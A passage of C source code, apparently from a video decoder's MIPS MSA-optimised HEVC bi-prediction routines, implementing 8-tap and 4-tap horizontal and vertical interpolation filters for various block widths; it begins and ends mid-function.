LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
/* row 0 row 1 row 2 row 3 */
VSHF_B4_SB(src0, src3, mask4, mask5, mask6, mask7, vec0, vec1, vec2, vec3);
VSHF_B4_SB(src1, src4, mask4, mask5, mask6, mask7, vec4, vec5, vec6, vec7);
VSHF_B4_SB(src2, src5, mask4, mask5, mask6, mask7,
vec8, vec9, vec10, vec11);
VSHF_B4_SB(src3, src6, mask4, mask5, mask6, mask7,
vec12, vec13, vec14, vec15);
dst30 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst41 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst52 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
dst63 = HEVC_FILT_8TAP_SH(vec12, vec13, vec14, vec15, filt0, filt1, filt2,
filt3);
ILVRL_H2_SH(dst41, dst30, dst10, dst43);
ILVRL_H2_SH(dst52, dst41, dst21, dst54);
ILVRL_H2_SH(dst63, dst52, dst32, dst65);
dst66 = (v8i16) __msa_splati_d((v2i64) dst63, 1);
for (loop_cnt = 4; loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src7, src8, src9, src10);
src0_ptr += (4 * src_stride);
XORI_B4_128_SB(src7, src8, src9, src10);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in0);
src1_ptr += (2 * src2_stride);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in1);
src1_ptr += (2 * src2_stride);
VSHF_B4_SB(src7, src9, mask4, mask5, mask6, mask7, vec0, vec1, vec2,
vec3);
VSHF_B4_SB(src8, src10, mask4, mask5, mask6, mask7, vec4, vec5, vec6,
vec7);
dst97 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst108 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst76 = __msa_ilvr_h(dst97, dst66);
ILVRL_H2_SH(dst108, dst97, dst87, dst109);
dst66 = (v8i16) __msa_splati_d((v2i64) dst97, 1);
dst98 = __msa_ilvr_h(dst66, dst108);
tmp0 = HEVC_FILT_8TAP(dst10, dst32, dst54, dst76, filt_h0, filt_h1,
filt_h2, filt_h3);
tmp1 = HEVC_FILT_8TAP(dst21, dst43, dst65, dst87, filt_h0, filt_h1,
filt_h2, filt_h3);
tmp2 = HEVC_FILT_8TAP(dst32, dst54, dst76, dst98, filt_h0, filt_h1,
filt_h2, filt_h3);
tmp3 = HEVC_FILT_8TAP(dst43, dst65, dst87, dst109, filt_h0, filt_h1,
filt_h2, filt_h3);
SRA_4V(tmp0, tmp1, tmp2, tmp3, 6);
PCKEV_H2_SH(tmp1, tmp0, tmp3, tmp2, out0, out1);
ADDS_SH2_SH(out0, in0, out1, in1, out0, out1);
ADDS_SH2_SH(out0, const_vec, out1, const_vec, out0, out1);
SRARI_H2_SH(out0, out1, 7);
CLIP_SH2_0_255(out0, out1);
out = (v16u8) __msa_pckev_b((v16i8) out1, (v16i8) out0);
ST_W4(out, 0, 1, 2, 3, dst, dst_stride);
dst += (4 * dst_stride);
dst10 = dst54;
dst32 = dst76;
dst54 = dst98;
dst21 = dst65;
dst43 = dst87;
dst65 = dst109;
dst66 = (v8i16) __msa_splati_d((v2i64) dst108, 1);
}
}
static void hevc_hv_bi_8t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 16);
}
static void hevc_hv_bi_8t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 24);
}
static void hevc_hv_bi_8t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 32);
}
static void hevc_hv_bi_8t_48w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 48);
}
static void hevc_hv_bi_8t_64w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 64);
}
static void hevc_hz_bi_4t_4x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v8i16 filt0, filt1;
v16i8 src0, src1, dst0, vec0, vec1;
v8i16 in0, in1;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[16]);
v16i8 mask1;
v8i16 tmp0;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
LD_SB2(src0_ptr, src_stride, src0, src1);
LD_SH2(src1_ptr, src2_stride, in0, in1);
in0 = (v8i16) __msa_ilvr_d((v2i64) in1, (v2i64) in0);
XORI_B2_128_SB(src0, src1);
VSHF_B2_SB(src0, src1, src0, src1, mask0, mask1, vec0, vec1);
tmp0 = const_vec;
DPADD_SB2_SH(vec0, vec1, filt0, filt1, tmp0, tmp0);
tmp0 = __msa_adds_s_h(tmp0, in0);
tmp0 = __msa_srari_h(tmp0, 7);
CLIP_SH_0_255(tmp0);
dst0 = __msa_pckev_b((v16i8) tmp0, (v16i8) tmp0);
ST_W2(dst0, 0, 1, dst, dst_stride);
}
static void hevc_hz_bi_4t_4x4_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3, dst0, vec0, vec1;
v8i16 in0, in1, in2, in3;
v16i8 vec2, vec3;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[16]);
v16i8 mask1;
v8i16 tmp0, tmp1;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
XORI_B4_128_SB(src0, src1, src2, src3);
tmp0 = const_vec;
tmp1 = const_vec;
VSHF_B2_SB(src0, src1, src2, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src0, src1, src2, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt1, filt1, tmp0, tmp1,
tmp0, tmp1);
HEVC_BI_RND_CLIP2(in0, in1, tmp0, tmp1, 7, tmp0, tmp1);
dst0 = __msa_pckev_b((v16i8) tmp1, (v16i8) tmp0);
ST_W4(dst0, 0, 1, 2, 3, dst, dst_stride);
}
static void hevc_hz_bi_4t_4x8multiple_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7;
v16i8 dst0, dst1;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[16]);
v16i8 mask1, vec0, vec1, vec2, vec3;
v8i16 tmp0, tmp1, tmp2, tmp3;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD_SB8(src0_ptr, src_stride,
src0, src1, src2, src3, src4, src5, src6, src7);
src0_ptr += (8 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
LD_SH4(src1_ptr, src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
XORI_B8_128_SB(src0, src1, src2, src3, src4, src5, src6, src7);
tmp0 = const_vec;
tmp1 = const_vec;
tmp2 = const_vec;
tmp3 = const_vec;
VSHF_B2_SB(src0, src1, src2, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, tmp0,
tmp1, tmp2, tmp3);
VSHF_B2_SB(src0, src1, src2, src3, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, tmp0,
tmp1, tmp2, tmp3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
tmp0, tmp1, tmp2, tmp3, 7, tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_SB(tmp1, tmp0, tmp3, tmp2, dst0, dst1);
ST_W8(dst0, dst1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
}
}
static void hevc_hz_bi_4t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
if (2 == height) {
hevc_hz_bi_4t_4x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (4 == height) {
hevc_hz_bi_4t_4x4_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (8 == height || 16 == height) {
hevc_hz_bi_4t_4x8multiple_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride, filter, height);
}
}
static void hevc_hz_bi_4t_6w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
int32_t res = height & 0x03;
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3;
v8i16 in0, in1, in2, in3;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_W2(dst0, 0, 2, dst, dst_stride);
ST_H2(dst0, 2, 6, dst + 4, dst_stride);
ST_W2(dst1, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(dst1, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
}
if (res) {
LD_SB2(src0_ptr, src_stride, src0, src1);
LD_SH2(src1_ptr, src2_stride, in0, in1);
XORI_B2_128_SB(src0, src1);
dst0 = const_vec;
dst1 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
DPADD_SB2_SH(vec0, vec1, filt0, filt0, dst0, dst1);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
DPADD_SB2_SH(vec0, vec1, filt1, filt1, dst0, dst1);
HEVC_BI_RND_CLIP2(in0, in1, dst0, dst1, 7, dst0, dst1);
dst0 = (v8i16) __msa_pckev_b((v16i8) dst1, (v16i8) dst0);
ST_W2(dst0, 0, 2, dst, dst_stride);
ST_H2(dst0, 2, 6, dst + 4, dst_stride);
}
}
static void hevc_hz_bi_4t_8x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v8i16 filt0, filt1;
v16i8 src0, src1;
v8i16 in0, in1;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1, vec0, vec1, vec2, vec3;
v8i16 dst0, dst1;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
LD_SB2(src0_ptr, src_stride, src0, src1);
LD_SH2(src1_ptr, src2_stride, in0, in1);
XORI_B2_128_SB(src0, src1);
dst0 = const_vec;
dst1 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt1, filt1, dst0, dst1,
dst0, dst1);
HEVC_BI_RND_CLIP2(in0, in1, dst0, dst1, 7, dst0, dst1);
dst0 = (v8i16) __msa_pckev_b((v16i8) dst1, (v16i8) dst0);
ST_D2(dst0, 0, 1, dst, dst_stride);
}
static void hevc_hz_bi_4t_8x6_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3, src4, src5;
v8i16 in0, in1, in2, in3, in4, in5;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
LD_SB6(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
LD_SH2(src1_ptr, src2_stride, in4, in5);
XORI_B6_128_SB(src0, src1, src2, src3, src4, src5);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0, dst1,
dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0, dst1,
dst2, dst3);
dst4 = const_vec;
dst5 = const_vec;
VSHF_B2_SB(src4, src4, src5, src5, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src4, src4, src5, src5, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt1, filt1, dst4, dst5,
dst4, dst5);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP2(in4, in5, dst4, dst5, 7, dst4, dst5);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
dst2 = (v8i16) __msa_pckev_b((v16i8) dst5, (v16i8) dst4);
ST_D4(dst0, dst1, 0, 1, 0, 1, dst, dst_stride);
ST_D2(dst2, 0, 1, dst + 4 * dst_stride, dst_stride);
}
static void hevc_hz_bi_4t_8x4multiple_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3;
v8i16 in0, in1, in2, in3;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_D4(dst0, dst1, 0, 1, 0, 1, dst, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_hz_bi_4t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
if (2 == height) {
hevc_hz_bi_4t_8x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (6 == height) {
hevc_hz_bi_4t_8x6_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (0 == (height % 4)) {
hevc_hz_bi_4t_8x4multiple_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride, filter, height);
}
}
static void hevc_hz_bi_4t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v8i16 filt0, filt1;
v16i8 src0, src1, src2, src3;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask2 = {
8, 9, 9, 10, 10, 11, 11, 12, 24, 25, 25, 26, 26, 27, 27, 28
};
v16i8 mask1, mask3;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
mask3 = mask2 + 2;
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4(src1_ptr + 8, src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVR_D2_SH(in5, in4, in7, in6, in4, in5);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
dst4 = const_vec;
dst5 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
VSHF_B2_SB(src0, src1, src2, src3, mask2, mask2, vec4, vec5);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
DPADD_SB2_SH(vec4, vec5, filt0, filt0, dst4, dst5);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
VSHF_B2_SB(src0, src1, src2, src3, mask3, mask3, vec4, vec5);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
DPADD_SB2_SH(vec4, vec5, filt1, filt1, dst4, dst5);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP2(in4, in5, dst4, dst5, 7, dst4, dst5);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
dst2 = (v8i16) __msa_pckev_b((v16i8) dst5, (v16i8) dst4);
ST_D4(dst0, dst1, 0, 1, 0, 1, dst, dst_stride);
ST_W4(dst2, 0, 1, 2, 3, dst + 8, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_hz_bi_4t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3, vec0, vec1, vec2, vec3;
v8i16 in0, in1, in2, in3, dst0, dst1, dst2, dst3;
v8i16 filt0, filt1;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
for (loop_cnt = (height >> 1); loop_cnt--;) {
LD_SB2(src0_ptr, src_stride, src0, src2);
LD_SB2(src0_ptr + 8, src_stride, src1, src3);
src0_ptr += (2 * src_stride);
LD_SH2(src1_ptr, src2_stride, in0, in2);
LD_SH2(src1_ptr + 8, src2_stride, in1, in3);
src1_ptr += (2 * src2_stride);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_SH2(dst0, dst1, dst, dst_stride);
dst += (2 * dst_stride);
}
}
static void hevc_hz_bi_4t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
const int16_t *src1_ptr_tmp;
uint8_t *dst_tmp;
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 filt0, filt1;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1, mask2, mask3;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
mask2 = mask0 + 8;
mask3 = mask0 + 10;
dst_tmp = dst + 16;
src1_ptr_tmp = src1_ptr + 16;
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src2, src4, src6);
LD_SB4(src0_ptr + 16, src_stride, src1, src3, src5, src7);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in2, in4, in6);
LD_SH4(src1_ptr + 8, src2_stride, in1, in3, in5, in7);
src1_ptr += (4 * src2_stride);
XORI_B8_128_SB(src0, src1, src2, src3, src4, src5, src6, src7);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask2, vec0, vec1);
VSHF_B2_SB(src2, src2, src2, src3, mask0, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask3, vec0, vec1);
VSHF_B2_SB(src2, src2, src2, src3, mask1, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
dst4 = const_vec;
dst5 = const_vec;
dst6 = const_vec;
dst7 = const_vec;
VSHF_B2_SB(src4, src4, src4, src5, mask0, mask2, vec0, vec1);
VSHF_B2_SB(src6, src6, src6, src7, mask0, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst4,
dst5, dst6, dst7);
VSHF_B2_SB(src4, src4, src4, src5, mask1, mask3, vec0, vec1);
VSHF_B2_SB(src6, src6, src6, src7, mask1, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst4,
dst5, dst6, dst7);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in4, in5, in6, in7,
dst4, dst5, dst6, dst7, 7, dst4, dst5, dst6, dst7);
PCKEV_B4_SH(dst1, dst0, dst3, dst2,
dst5, dst4, dst7, dst6, dst0, dst1, dst2, dst3);
ST_SH4(dst0, dst1, dst2, dst3, dst, dst_stride);
dst += (4 * dst_stride);
LD_SH4(src1_ptr_tmp, src2_stride, in0, in1, in2, in3);
src1_ptr_tmp += (4 * src2_stride);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
